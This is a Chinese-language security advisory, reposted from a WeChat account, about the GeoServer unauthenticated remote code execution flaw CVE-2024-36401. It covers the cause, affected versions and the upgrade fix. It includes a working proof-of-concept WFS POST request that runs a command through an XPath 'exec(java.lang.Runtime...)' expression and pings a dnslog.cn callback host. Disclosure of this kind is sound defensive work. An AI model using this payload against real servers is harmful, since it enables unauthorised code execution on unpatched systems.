GeoServer 远程代码执行漏洞(CVE-2024-36401)

admin 2024年7月4日21:44:47评论124 views字数 915阅读3分3秒阅读模式

GeoServer 远程代码执行漏洞(CVE-2024-36401)

漏洞描述:

GeoServer是一款开源地图服务器,主要用于发布、共享和处理各种地理空间数据,其依赖GeoTools库来处理地理空间数据,受影响版本的 GeoTools 库 API 在处理要素类型的属性名称时,会将这些属性名称不安全地传递给commons-jxpath库进行解析,且 commons-jxpath库在解析XPath 表达式时可以执行任意代码,导致未经身份验证的用户能够通过/geoserver/wfs 接口执行任意代码,在修复版本中,通过在 GeoTools 库中新增 JXPathUtils 类提供 newSafeContext 方法,该方法通过设置空的 FunctionLibrary 来创建禁止调用 Java 方法的 JXPathContext,防止在 XPath 表达式中调用任意 Java 方法。

GeoServer 远程代码执行漏洞(CVE-2024-36401)

GeoServer 远程代码执行漏洞(CVE-2024-36401)

GeoServer 远程代码执行漏洞(CVE-2024-36401)

GeoServer 远程代码执行漏洞(CVE-2024-36401)

POC:

POST /wfs HTTP/1.1
Host: ip
Content-Type: application/xml
Content-Length: 336

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"ping om9uxo.dnslog.cn")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

影响范围:
2.25.0 <= GeoServer < 2.25.2
2.24.0 <= GeoServer < 2.24.4
GeoServer < 2.23.6

安全版本:
GeoServer 2.25.2

GeoServer 2.24.4

GeoServer 2.23.6

修复建议:

升级至安全版本及其以上

 

原文始发于微信公众号(飓风网络安全):【成功复现】GeoServer 远程代码执行漏洞(CVE-2024-36401)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月4日21:44:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GeoServer 远程代码执行漏洞(CVE-2024-36401)https://cn-sec.com/archives/2921428.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息